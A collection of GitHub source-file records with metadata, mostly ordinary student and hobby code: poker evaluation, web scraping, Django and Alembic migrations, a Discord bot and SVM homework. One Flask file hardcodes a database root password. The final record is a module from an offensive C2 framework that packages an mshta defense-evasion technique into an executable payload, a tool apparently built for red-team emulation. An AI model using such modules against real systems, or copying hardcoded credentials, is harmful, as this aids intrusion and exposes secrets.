8533a7e79a1e9ddbec9802a4530ec99335101e5f | b47e9b95a831cf1101e8e115a6ad68055b2f1b9f | /Programs/Program 2/poker.py | 4fff0dd8192b42b9ee0dced68777f787fed7de6b | [] | no_license | austin-hull09/Python | b1d50fdf36343c3f92dcd6cd813c5e7af069a7c8 | df03931f4d215068abb5af9af3275c9ce8f40b30 | refs/heads/master | 2022-02-22T19:38:16.248317 | 2019-10-09T18:34:48 | 2019-10-09T18:34:48 | 213,994,377 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,334 | py | # defining possible poker hands (flush, 2 of a kind, or 3 of a kind)
def three_of_a_kind(hand_as_list, output):
if hand_as_list[0][0] == hand_as_list[1][0] == hand_as_list[2][0]:
output.write("THREE OF A KIND\n")
else:
return "false"
def flush(hand_as_list, output):
if hand_as_list[0][1] == hand_as_list[1][1] == hand_as_list[2][1]:
output.write("FLUSH\n")
else:
return "false"
def two_of_a_kind(hand_as_list, output):
if (hand_as_list[0][0] == hand_as_list[1][0] or
hand_as_list[0][0] == hand_as_list[2][0] or
hand_as_list[1][0] == hand_as_list[2][0]):
output.write("TWO OF A KIND\n")
else:
return "false"
# prints the cards received from the input file
def print_hand(hand_as_list, poker_output):
poker_output.write("Poker Hand\n")
poker_output.write("----------\n")
number = 0
for card in hand_as_list:
number += 1
poker_output.write("Card " + str(number) + ": " +
str(hand_as_list[(number - 1)][0].capitalize()) +
" of " + str(hand_as_list[(number - 1)][1].capitalize()) + "\n")
poker_output.write("\n")
# uses functions defined earlier to evaluate outcome of the hand and write it to output file
def evaluate(hand_as_list, poker_output):
poker_output.write("Poker Hand Evaluation: ")
if flush(hand_as_list, poker_output) == "false":
if three_of_a_kind(hand_as_list, poker_output) == "false":
if two_of_a_kind(hand_as_list, poker_output) == "false":
poker_output.write("NOTHING\n")
poker_output.write("\n")
# --------------------------------------
# Do not change anything below this line
# --------------------------------------
def main(poker_input, poker_output, cards_in_hand):
for hand in poker_input:
hand = hand.split()
hand_as_list = []
for i in range(cards_in_hand):
hand_as_list.append([hand[0], hand[1]])
hand = hand[2:]
print_hand(hand_as_list, poker_output)
evaluate(hand_as_list, poker_output)
# --------------------------------------
poker_input = open("poker.in", "r")
poker_output = open("poker.out", "w")
main(poker_input, poker_output, 3)
poker_input.close()
poker_output.close()
| [
"[email protected]"
] | |
9797e2c4bb8719254b794d70800ffbf820351574 | 0ebaf2ff7b9a5746663c11232a4bcad408a7dbba | /Homework1_2.py | 570c0934824ca9d5257ab7702d8d19c8b5bae96c | [] | no_license | kii223/Project | def3eacd20abf0f9d80d4934f03e3fea293b4ed8 | 4061e8891eefdf604df3035fc9708515fb5c4a61 | refs/heads/master | 2021-09-16T14:02:02.457010 | 2018-06-21T15:42:04 | 2018-06-21T15:42:04 | 114,135,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,538 | py | from bs4 import BeautifulSoup
info = []
with open('I:/Pycharm/Plan-for-combating-master/week1/1_2/1_2answer_of_homework/1_2_homework_required/index.html','r') as web_data:
Soup = BeautifulSoup(web_data,'lxml')
images = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > img')
titles = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > h4 > a')
discribs = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > p')
views = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.ratings > p.pull-right')
rates = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.ratings > p:nth-of-type(2)')
prices = Soup.select('body > div:nth-of-type(1) > div > div.col-md-9 > div:nth-of-type(2) > div > div > div.caption > h4.pull-right')
#lenRate = []
#for i in rates:
# lenRate.append(len(i.find_all('span','glyphicon glyphicon-star')))
for image,title,discrib,view,rate,price in zip(images,titles,discribs,views,rates,prices):
data = {
'title':title.get_text(),
'discrib':discrib.get_text(),
'view':view.get_text(),
'rate':'%s stars' % len(rate.find_all('span','glyphicon glyphicon-star')),
'price':price.get_text(),
'image':image.get('src')
}
info.append(data)
for i in info:
print(i)
'''for title,image,discrib,rate,cate in zip(titles,images,discribs,rates,cates):
data ={
'title':title.get_text(),
'rate':rate.get_text(),
'discrib':discrib.get_text(),
'cate':list(cate.stripped_strings),
'image':image.get('src')
}
info.append(data)
'''
'''
body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.caption > h4:nth-child(2) > a
/html/body/div[1]/div/div[2]/div[2]/div[1]/div/img
body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > img
body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > img
body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.caption > h4:nth-child(2) > a
body > div:nth-child(2) > div > div.col-md-9 > div:nth-child(2) > div:nth-child(1) > div > div.ratings > p:nth-child(2) > span:nth-child(1)
'''
| [
"[email protected]"
] | |
ba8e33c93b9dce9a5dda9aa99cb065a7f0c7a588 | 31af57d3cdc1088397849a41845c101959aeccde | /article/forms.py | fe39e22d041ce6f7221af04ea31cda3009f42b69 | [] | no_license | ihsancan399/blog-app | a8ea8253f5c14c1409afd99b61eff60cd02e8f1d | 7082646b378fbe45e14a4755a5bf8ea988559961 | refs/heads/master | 2022-04-25T11:36:20.209282 | 2020-04-30T08:32:43 | 2020-04-30T08:32:43 | 260,154,752 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 181 | py | from django import forms
from .models import Article
class ArticleForm(forms.ModelForm):
class Meta:
model = Article
fields = ["title","content","article_img"]
| [
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] | |
fa9b5a6f7abc5bfab0aacb92d83e5116f76ccbfe | 45ecf382b20f58c8af9c9b1dcb24441f32247ca4 | /makeLabel.py | 2d67ca576f1dee9a7713d6cb31736b6e5ee4553e | [] | no_license | zouqqz/data-process | d12b3dbb1dd1c6379dbc0ee5a2112af08d952c7b | 63a4c1d9108667b7e8e959e427348271e437eddd | refs/heads/master | 2021-09-02T15:40:26.003701 | 2018-01-03T12:49:23 | 2018-01-03T12:49:23 | 115,061,485 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,123 | py | # -*- coding: utf-8 -*-
"""
生成label.txt文件，文件内容类似
105_03_629 5 1 5
105_03_613 5 1 5
105_03_668 5 1 5
105_03_501 5 1 5
"""
import os
import sys
import config_default
import shutil
os.chdir(sys.path[0])
xml_folder = os.path.join(os.path.pardir, config_default.configs['folder'], 'annotations', 'xmls')
image_folder = os.path.join(os.path.pardir, config_default.configs['folder'], 'images')
data_folder = os.path.join(os.path.pardir, config_default.configs['folder'])
trainval_file_path = os.path.join(data_folder, 'annotations', 'trainval.txt')
def compare(xml_list, image_list):
ret_list = []
xml_list_with_no_ext = []
image_list_with_no_ext = []
for x in image_list:
if os.path.splitext(x)[1] not in ('.jpg', '.png'):
continue
image_name = os.path.splitext(x)[0]
image_list_with_no_ext.append(image_name)
for x in xml_list:
if os.path.splitext(x)[1] not in ('.xml',):
continue
file_name = os.path.splitext(x)[0]
xml_list_with_no_ext.append(file_name)
for x in xml_list_with_no_ext:
if x not in image_list_with_no_ext:
ret_list.append(x)
for x in image_list_with_no_ext:
if x not in xml_list_with_no_ext:
ret_list.append(x)
if len(ret_list) > 0:
print('The following label is missing:')
print(ret_list)
def makeLabels(xml_list):
if os.path.isfile(trainval_file_path):
os.remove(trainval_file_path)
with open(trainval_file_path, 'a') as trainval_file:
for x in xml_list:
if os.path.splitext(x)[1] not in ('.xml',):
continue
trainval_file.write('%s %s %s %s\n' % (x[:-4], x[2], 1, x[2]))
shutil.copyfile(trainval_file_path, os.path.join(os.path.dirname(trainval_file_path), 'list.txt'))
shutil.copyfile(trainval_file_path, os.path.join(os.path.dirname(trainval_file_path), 'test.txt'))
if __name__ == "__main__":
xml_list = os.listdir(xml_folder)
image_list = os.listdir(image_folder)
compare(xml_list, image_list)
makeLabels(xml_list) | [
"[email protected]"
] | |
86ba6d19d0a6b155f867d0b692e00beb689c4b25 | d29225541b301a6cea5129b0c79f68d855208de4 | /main.py | a54563a24776da18d5f71839444908624bc3c2dd | [
"MIT"
] | permissive | Quantaxer/Discord-Friend | bb6e6ace377e49cf1dfc4538514cf6f254186427 | cec53a326aab13f897adeaa42efbb565363c5643 | refs/heads/master | 2020-05-24T00:14:41.983177 | 2019-06-30T16:16:05 | 2019-06-30T16:16:05 | 187,011,126 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,353 | py | # import statements
from discord.ext import commands
# The token which is used to connect to discord
f = open("token.txt", "r")
TOKEN = f.readline().strip()
f.close()
client = commands.Bot(command_prefix='~', case_insensitive=True)
# remove default help command to replace with custom help command
# List of file names go here for loading cogs
extensions = (
'cogs.fun',
'cogs.message',
'cogs.admin',
'cogs.reminder',
'cogs.wiki',
'cogs.blackjack',
'cogs.reddit'
)
# Loops through extensions list and loads each cog
if __name__ == '__main__':
for extension in extensions:
client.load_extension(extension)
# Shows we are connected and running
@client.event
async def on_ready():
print('Logged in as')
print(client.user.name)
print(client.user.id)
print('------')
# Default error handler
@client.event
async def on_command_error(ctx, error):
# default errors
if isinstance(error, commands.CommandNotFound):
await ctx.send("This ain't it chief (Command not found)")
elif isinstance(error, commands.NotOwner):
await ctx.send('Who are you? You didn\'t make me')
# Non standard errors
elif str(ctx.command).partition(" ")[0] == "ackshually":
await ctx.send("Error: Missing search parameter.\nUsage: ~ackshually " + str(ctx.command).split(" ")[1] + " (search term)")
elif str(ctx.command).partition(" ")[0] == "reminder":
await ctx.send("Error: Missing reminder parameter.\nUsage: ~reminder " + str(ctx.command).split(" ")[1] + " (reminder)")
else:
await ctx.send(error)
@client.event
async def on_command_completion(ctx):
await ctx.message.add_reaction(emoji='✅')
@client.command()
@commands.is_owner()
async def load(ctx, cog):
"""Loads an existing cog.\nBot owner only."""
try:
client.load_extension(cog)
await ctx.send(f'Loaded `{cog}`')
except Exception as error:
await ctx.send(f'`{cog}` cannot be loaded. [{error}]')
@client.command()
@commands.is_owner()
async def unload(ctx, cog):
"""Unloads an existing cog.\nBot owner only."""
try:
client.unload_extension(cog)
await ctx.send(f'Unloaded `{cog}`')
except Exception as error:
await ctx.send(f'`{cog}` cannot be unloaded. [{error}]')
# Run the client with the token
client.run(TOKEN)
| [
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] | |
b2e6c4acd91caa478d2d82157aad05ea4d9c6664 | b4ce93b5e0d6b277a2c56444a466a5e536b81565 | /Exercise 010.py | 6b39358acad73855cf9d3a127af478f491a48753 | [] | no_license | aga-moj-nick/Python-Sets | 7268efd5407b978a238fe7a0c08e4bd7275bd02d | 0482f83b67af650806a7801a0c47a551da0bb4c8 | refs/heads/master | 2023-06-19T04:50:28.113658 | 2021-07-12T11:45:36 | 2021-07-12T11:45:36 | 385,227,925 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 266 | py | # 10. Write a Python program to check if a set is a subset of another set.
A = {1, 2, 3, 4, 5}
B = {4, 5, 6, 7}
C = {2, 3}
print (A.issubset (B))
print (A.issubset (C))
print (B.issubset (A))
print (B.issubset (C))
print (C.issubset (A))
print (C.issubset (B))
| [
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] | |
f5bad10075d526f1170c604c01d93184f945be7f | e215fb7f99d477a79249a322d652f57f8a953964 | /mysite/lottery/migrations/0002_auto_20170530_0426.py | 74043f4f032aad103d2ad2b8ff6f21ea4d6d0805 | [] | no_license | 945941192/lottery-analysis | 68018918bef12c84e053d787bdf309c02bb2d6ac | b946d8a4ad42210d9536370911febcfeb57ec92e | refs/heads/master | 2021-06-22T12:07:19.455408 | 2017-08-16T02:07:43 | 2017-08-16T02:07:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 388 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2017-05-30 04:26
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('lottery', '0001_initial'),
]
operations = [
migrations.RenameModel(
old_name='user_info',
new_name='UserInfo',
),
]
| [
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] | |
b5daa30cd64c567c1630ff8ff8a7953b295df52f | 7982dfa24ed74a529370ba7983bc406453f5c2e3 | /CS596/Homework/HW4&5/PartII_svm/main_svm.py | 75ad13dfeb91dd4832d61c69e67c840f201ffdab | [
"MIT"
] | permissive | ko-takahashi/college | 0e5c16116b8796bd8bdd16075ecade4214659733 | c333f1e1767f1206687f5e9b0fb3f0145b2d5d6a | refs/heads/master | 2021-07-16T15:11:45.572037 | 2021-02-23T19:26:56 | 2021-02-23T19:26:56 | 241,546,658 | 0 | 0 | MIT | 2020-10-13T19:40:06 | 2020-02-19T06:10:56 | C# | UTF-8 | Python | false | false | 4,822 | py | import numpy as np
import download_data as dl
import matplotlib.pyplot as plt
import sklearn.svm as svm
from sklearn import metrics
from conf_matrix import func_confusion_matrix
#CS 596, machine learning
## step 1: load data from csv file.
data = dl.download_data('crab.csv').values
n = 200
#split data
S = np.random.permutation(n)
#100 training samples
Xtr = data[S[:100], :6]
Ytr = data[S[:100], 6:].ravel()
# 100 testing samples
X_test = data[S[100:], :6]
Y_test = data[S[100:], 6:].ravel()
## step 2 randomly split Xtr/Ytr into two even subsets: use one for training, another for validation.
#############placeholder: training/validation #######################
n2 = len(Xtr)
S2 = np.random.permutation(n2)
# subsets for training models
# has to be half of the 100 previous dataset
x_train= Xtr[S2[:50],:]
y_train= Ytr[S2[:50]]
# subsets for validation
x_validation= Xtr[S2[50:],:]
y_validation= Ytr[S2[50:]]
#############placeholder #######################
## step 3 Model selection over validation set
# consider the parameters C, kernel types (linear, RBF etc.) and kernel
# parameters if applicable.
# 3.1 Plot the validation errors while using different values of C ( with other hyperparameters fixed)
# keeping kernel = "linear"
#############placeholder: Figure 1#######################
c_parameters = []
c_range = np.arange(0.5,7.0,0.5)
svm_c_error = []
for c_value in c_range:
model = svm.SVC(kernel='linear', C=c_value)
model.fit(X=x_train, y=y_train)
error = 1. - model.score(x_validation, y_validation)
svm_c_error.append(error)
plt.plot(c_range, svm_c_error)
plt.title('Linear SVM')
plt.xlabel('c values')
plt.ylabel('error')
#plt.xticks(c_range)
plt.show()
# needs an index to keep track of the process
# c_parameters changes the data before going through the nest for loop
index = np.argmin(svm_c_error)
c_parameters.append(c_range[index])
svm_c_error = []
for c_value in c_range:
model = svm.SVC(kernel='poly', C=c_value)
model.fit(X=x_train, y=y_train)
error = 1. - model.score(x_validation, y_validation)
svm_c_error.append(error)
plt.plot(c_range, svm_c_error)
plt.title('Polynomial SVM')
plt.xlabel('c values')
plt.ylabel('error')
#plt.xticks(c_range)
plt.show()
index = np.argmin(svm_c_error)
c_parameters.append(c_range[index])
svm_c_error = []
for c_value in c_range:
model = svm.SVC(kernel='rbf', C=c_value)
model.fit(X=x_train, y=y_train)
error = 1. - model.score(x_validation, y_validation)
svm_c_error.append(error)
plt.plot(c_range, svm_c_error)
plt.title('RBF SVM')
plt.xlabel('c values')
plt.ylabel('error')
#plt.xticks(c_range)
plt.show()
index = np.argmin(svm_c_error)
c_parameters.append(c_range[index])
#############placeholder #######################
# 3.2 Plot the validation errors while using linear, RBF kernel, or Polynomial kernel ( with other hyperparameters fixed)
#############placeholder: Figure 2#######################
kernel_types = ['linear', 'poly', 'rbf']
svm_kernel_error = []
x = 0
for kernel_value in kernel_types:
# your own codes
model = svm.SVC(kernel = kernel_value, C =c_parameters[x])
model.fit(X=x_train, y=y_train)
error = 1. - model.score(x_validation, y_validation)
svm_kernel_error.append(error)
x +=1
# similar to the for loop used for Figure 1 but x needs to be iterated
plt.plot(kernel_types, svm_kernel_error)
plt.title('SVM by Kernels')
plt.xlabel('Kernel')
plt.ylabel('error')
plt.xticks(kernel_types)
plt.show()
best = np.argmin(svm_kernel_error)
## step 4 Select the best model and apply it over the testing subset
best_kernel = kernel_types[best]
best_c = c_parameters[best] # poly had many that were the "best"
model = svm.SVC(kernel=best_kernel, C=best_c)
model.fit(X=x_train, y=y_train)
## step 5 evaluate your results with the metrics you have developed in HA3,including accuracy, quantize your results.
y_pred = model.predict(X_test)
conf_matrix, accuracy, recall_array, precision_array = func_confusion_matrix(Y_test, y_pred)
print("Best kernel: {} c = {}".format(best_kernel,best_c))
print("Confusion Matrix: ")
print(conf_matrix)
print("Average Accuracy: {}".format(accuracy))
print("Per-Class Precision: {}".format(precision_array))
print("Per-Class Recall: {}\n".format(recall_array))
success = (y_pred == Y_test)
counter = 0
print("5 Failure Examples")
for x in range(len(success)):
if(not(success[x])):
counter+=1
print("Prediction: {} Ground-truth: {}".format(y_pred[x],Y_test[x]))
print("Features: {}\n".format(X_test[x]))
if (counter == 5):
break
counter = 0
print("5 Successs Examples")
for x in range(len(success)):
if(success[x]):
counter+=1
print("Correct Prediction: {}".format(y_pred[x]))
print("Features: {}\n".format(X_test[x]))
if (counter == 5):
break
| [
"[email protected]"
] | |
6faf805fc3ad245879397148af1b9ab1e54ec95f | e02228712ba1c9a4b1b9631eeb33604e921713e1 | /migrations/versions/4a1822107283_initial.py | 05a205c85672258e8b8cde007d29ccd4564b943e | [] | no_license | mille383/tminus | 7ab6119701c8696ae3f200d3152b96822090e772 | f0d0f930bcd2955130d7d654e278071d6ce69003 | refs/heads/main | 2023-06-01T15:37:48.144206 | 2021-06-20T04:04:22 | 2021-06-20T04:04:22 | 378,550,901 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 834 | py | """initial
Revision ID: 4a1822107283
Revises:
Create Date: 2021-06-02 22:47:14.277427
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '4a1822107283'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('comments',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=50), nullable=True),
sa.Column('email', sa.String(length=50), nullable=True),
sa.Column('feedback', sa.Text(), nullable=True),
sa.PrimaryKeyConstraint('id')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('comments')
# ### end Alembic commands ###
| [
"[email protected]"
] | |
ca04e2805ce6c6c244793223430339e5107737b4 | cca89a7bbe2da907a38eb00e9a083f57597273f0 | /46. 全排列/pythonCode.py | 16e506db4bd24ed12236bb352f774a94bd8a5710 | [] | no_license | xerprobe/LeetCodeAnswer | cc87941ef2a25c6aa1366e7a64480dbd72750670 | ea1822870f15bdb1a828a63569368b7cd10c6ab8 | refs/heads/master | 2022-09-23T09:15:42.628793 | 2020-06-06T16:29:59 | 2020-06-06T16:29:59 | 270,215,362 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 616 | py | from typing import List
class Solution:
def permute(self, nums: List[int]) -> List[List[int]]:
result = []
if(len(nums)<=1):
return [nums]
for i in range(len(nums)):
other = nums[0:i]
other.extend(nums[i+1:])
out = self.permute(other)
for r in out:
r.append(nums[i])
result.extend(out)
return result
'''
给定一个 没有重复 数字的序列，返回其所有可能的全排列。
示例:
输入: [1,2,3]
输出:
[
[1,2,3],
[1,3,2],
[2,1,3],
[2,3,1],
[3,1,2],
[3,2,1]
]
''' | [
"[email protected]"
] | |
724bd509d654104b16cd0439a52f2685bd55d641 | 4ecca520425b9e0d6daaf2386a57091958e59c83 | /views.py | 52a795b6964bc0874aa159a0a6223199c2038dd6 | [] | no_license | AyabongaQwabi/yourvoice | 852bad216f05fb7e2364afc4a97664a2c073cca6 | bfea1edb2ce79fae9ac528af7515c2d7354509a6 | refs/heads/master | 2020-05-31T21:11:11.649460 | 2015-08-03T15:33:26 | 2015-08-03T15:33:26 | 40,132,559 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 484 | py | from flask import render_template, jsonify
import MySQLdb
from app import app
db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="root", # your username
passwd="theaya5379", # your password
db="Nelisa") # name of the data base
cur = db.cursor()
@app.route('/')
@app.route('/home')
def home():
user ={'name':'China','spazaname':'eMatolweni'}
return render_template('home.html',user=user)
| [
"[email protected]"
] | |
aa62f43d6aaf39692174080e06afc4fab94b3eb3 | ff8850b8c143044dbd53c23f678a8d776409e99f | /MindzZBot/Cogs/usercommands.py | ae558d5ab38dd7f03fbc8d7d190156632959f655 | [] | no_license | Pudzz/Discord-bot | 3d29f48a08a8aa0318e29208692f932a566af4d1 | aa90c128d8a1e267028d8167a3afcf38d24b7db2 | refs/heads/main | 2023-06-01T18:28:48.176393 | 2021-06-25T21:40:51 | 2021-06-25T21:40:51 | 380,358,006 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,445 | py | import random
import discord
from discord.ext import commands
import asyncio
# Textchannels where you can't write these commands
nowritingchannels = ["🏆server-level-ups", "❔commands-help", "🎧music-bots", "welcome", "botchat", "✅rules", "🎰slot-machine"]
rockpaperscissor = ["rock", "paper", "scissors"]
class usercmds(commands.Cog):
def __init__(self, client):
self.client = client
@commands.command()
async def rps(self,ctx):
if not ctx.channel.name in nowritingchannels:
await ctx.channel.purge(limit = 1)
await ctx.send(f"{ctx.author.mention}, chooses **{random.choice(rockpaperscissor)}**")
else:
await ctx.channel.purge(limit = 1)
@commands.command()
async def slap(self, ctx, *, member : discord.Member):
if not ctx.channel.name in nowritingchannels:
await ctx.channel.purge(limit = 1)
await ctx.send(f'{ctx.author.mention} just slapped {member.mention}!')
else:
await ctx.channel.purge(limit = 1)
@commands.command()
async def rolldice(self, ctx):
if not ctx.channel.name in nowritingchannels:
await ctx.channel.purge(limit = 1)
numbers = ['1','2','3','4','5','6']
await ctx.send(f"{ctx.author.mention}, you rolled a **{random.choice(numbers)}**")
else:
await ctx.channel.purge(limit = 1)
@commands.command()
async def ask(self, ctx, *, question):
if not ctx.channel.name in nowritingchannels:
responses = [ 'It is certain.',
'Outlook not so good.',
'Yes - definitely.',
'You may rely on it.',
'My reply is no.',
'As I see it, yes.',
'Most likely.',
'Outlook good.',
'Signs point to yes.',
'Reply hazy, try again.',
'Yes.',
'It is decidedly so.',
'Ask again later.',
'Better not tell you now.',
'Cannot predict now.',
'Concentrate and ask again.',
"Don't count on it.",
'My sources say no.',
'Without a doubt.',
'Very doubtful.' ]
await ctx.channel.purge(limit = 1)
await ctx.send(f'Question: {question}\nAnswer: {random.choice(responses)}')
else:
await ctx.channel.purge(limit = 1)
@commands.command(pass_context=True)
async def poll(self, ctx, question, *options: str):
if not str(ctx.channel.name) in nowritingchannels:
await ctx.channel.purge(limit = 1)
if len(options) <= 1:
await ctx.send('You need more than one option to make a poll!')
return
if len(options) > 10:
await ctx.send('You cannot make a poll for more than 10 things!')
return
if len(options) == 2 and options[0] == 'yes' and options[1] == 'no':
reactions = ['✅', '❌']
else:
reactions = ['1⃣', '2⃣', '3⃣', '4⃣', '5⃣', '6⃣', '7⃣', '8⃣', '9⃣', '🔟']
embed = discord.Embed(title="{}'s poll request".format(ctx.author.name))
embed.add_field(name = "Question: ", value = f"{question}", inline= False)
for x, option in enumerate(options):
embed.add_field(name = f"{option}", value = f"{reactions[x]}", inline= True)
embed.set_thumbnail(url=ctx.author.avatar_url)
react_message = await ctx.send(embed=embed)
for reaction in reactions[:len(options)]:
await react_message.add_reaction(reaction)
else:
await ctx.channel.purge(limit = 1)
@commands.command()
async def countdown(self, ctx):
'''It's the final countdown'''
countdown = ['five', 'four', 'three', 'two', 'one']
for num in countdown:
message = await ctx.send('**:{0}:**'.format(num))
await asyncio.sleep(1)
await ctx.send('**:ok:**')
def setup(client):
client.add_cog(usercmds(client))
| [
"[email protected]"
] | |
280a24dc4c74ffe64f0f4f694968b741ccd67ca9 | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/nnbarrel.py | 63cbec627f227588bab42f778246cef57d4d2eea | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 1,305 | py | ii = [('MarrFDI.py', 7), ('RogePAV2.py', 1), ('CoolWHM2.py', 2), ('RogePAV.py', 2), ('ProuWCM.py', 1), ('MartHSI2.py', 1), ('LeakWTI2.py', 2), ('UnitAI.py', 36), ('KembFJ1.py', 1), ('WilkJMC3.py', 8), ('LeakWTI3.py', 6), ('MarrFDI3.py', 3), ('PeckJNG.py', 6), ('AubePRP.py', 2), ('AdamWEP.py', 5), ('FitzRNS3.py', 4), ('ClarGE2.py', 6), ('WilkJMC2.py', 1), ('CarlTFR.py', 12), ('SeniNSP.py', 7), ('RoscTTI3.py', 2), ('AinsWRR3.py', 2), ('CrokTPS.py', 1), ('ClarGE.py', 3), ('BuckWGM.py', 2), ('IrviWVD.py', 1), ('GilmCRS.py', 2), ('WestJIT2.py', 1), ('DibdTRL2.py', 1), ('AinsWRR.py', 1), ('CrocDNL.py', 11), ('MedwTAI.py', 2), ('WadeJEB.py', 3), ('KirbWPW2.py', 3), ('LeakWTI4.py', 2), ('LeakWTI.py', 3), ('SoutRD.py', 1), ('BuckWGM2.py', 2), ('WheeJPT.py', 1), ('HowiWRL2.py', 2), ('MartHRW.py', 3), ('MackCNH.py', 3), ('WestJIT.py', 3), ('BabbCEM.py', 19), ('FitzRNS4.py', 3), ('DequTKM.py', 1), ('FitzRNS.py', 3), ('BowrJMM.py', 3), ('FerrSDO.py', 1), ('StorJCC.py', 1), ('KembFJ2.py', 1), ('LewiMJW.py', 2), ('MackCNH2.py', 1), ('JacoWHI2.py', 1), ('WilbRLW3.py', 1), ('AinsWRR2.py', 1), ('MereHHB2.py', 3), ('JacoWHI.py', 1), ('ClarGE3.py', 2), ('DibdTRL.py', 2), ('FitzRNS2.py', 1), ('MartHSI.py', 3), ('NortSTC.py', 1), ('BowrJMM2.py', 2), ('KirbWPW.py', 3), ('WaylFEP.py', 11), ('ClarGE4.py', 4)] | [
"[email protected]"
] | |
e1db2f7a25c8fc04e3123fe7bcf4f286e3c9b124 | 808e8b0261a8711e563cbffc4f363c9a95d4300a | /photo/urls.py | f788642685c781cc0cdcc978d84c3b3d64231bd8 | [
"MIT"
] | permissive | marykamau2/maryGallery | 5f544cc082c9d3a96d1983241e7a5452bca2767c | c657e6fc4564521a0110ae9024e5cf22179011bd | refs/heads/master | 2023-08-06T15:38:01.427717 | 2021-09-06T19:19:27 | 2021-09-06T19:19:27 | 402,753,305 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 820 | py | """photo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from django.conf.urls import include
urlpatterns = [
path('admin/', admin.site.urls),
path('',include('mypics.urls'))
]
| [
"[email protected]"
] | |
24ae05824132f080f1853e9da5c07d73fa316c76 | d1d79d0c3889316b298852834b346d4246825e66 | /blackbot/core/wss/ttp/art/art_T1218.005-1.py | b7628466886fa7782a67ee75ea1b148378b9c165 | [] | no_license | ammasajan/Atomic-Red-Team-Intelligence-C2 | 78d1ed2de49af71d4c3c74db484e63c7e093809f | 5919804f0bdeb15ea724cd32a48f377bce208277 | refs/heads/master | 2023-07-17T12:48:15.249921 | 2021-08-21T20:10:30 | 2021-08-21T20:10:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,920 | py | from blackbot.core.utils import get_path_in_package
from blackbot.core.wss.atomic import Atomic
from terminaltables import SingleTable
import os
import json
class Atomic(Atomic):
def __init__(self):
self.name = 'DefenseEvasion/T1218.005-1'
self.controller_type = ''
self.external_id = 'T1218.005'
self.blackbot_id = 'T1218.005-1'
self.version = ''
self.language = 'boo'
self.description = self.get_description()
self.last_updated_by = 'Blackbot, Inc. All Rights reserved'
self.references = ["System.Management.Automation"]
self.options = {}
def payload(self):
with open(get_path_in_package('core/wss/ttp/art/src/cmd_prompt.boo'), 'r') as ttp_src:
src = ttp_src.read()
cmd_script = get_path_in_package('core/wss/ttp/art/cmd_ttp/defenseEvasion/T1218.005-1')
with open(cmd_script) as cmd:
src = src.replace("CMD_SCRIPT", cmd.read())
return src
def get_description(self):
path = get_path_in_package('core/wss/ttp/art/cmd_ttp/defenseEvasion/T1218.005-1')
with open(path) as text:
head = [next(text) for l in range(4)]
technique_name = head[0].replace('#TechniqueName: ', '').strip('\n')
atomic_name = head[1].replace('#AtomicTestName: ', '').strip('\n')
description = head[2].replace('#Description: ', '').strip('\n')
language = head[3].replace('#Language: ', '').strip('\n')
aux = ''
count = 1
for char in description:
if char == '&':
continue
aux += char
if count % 126 == 0:
aux += '\n'
count += 1
out = '{}: {}\n{}\n\n{}\n'.format(technique_name, language, atomic_name, aux)
return out
| [
"[email protected]"
] | |
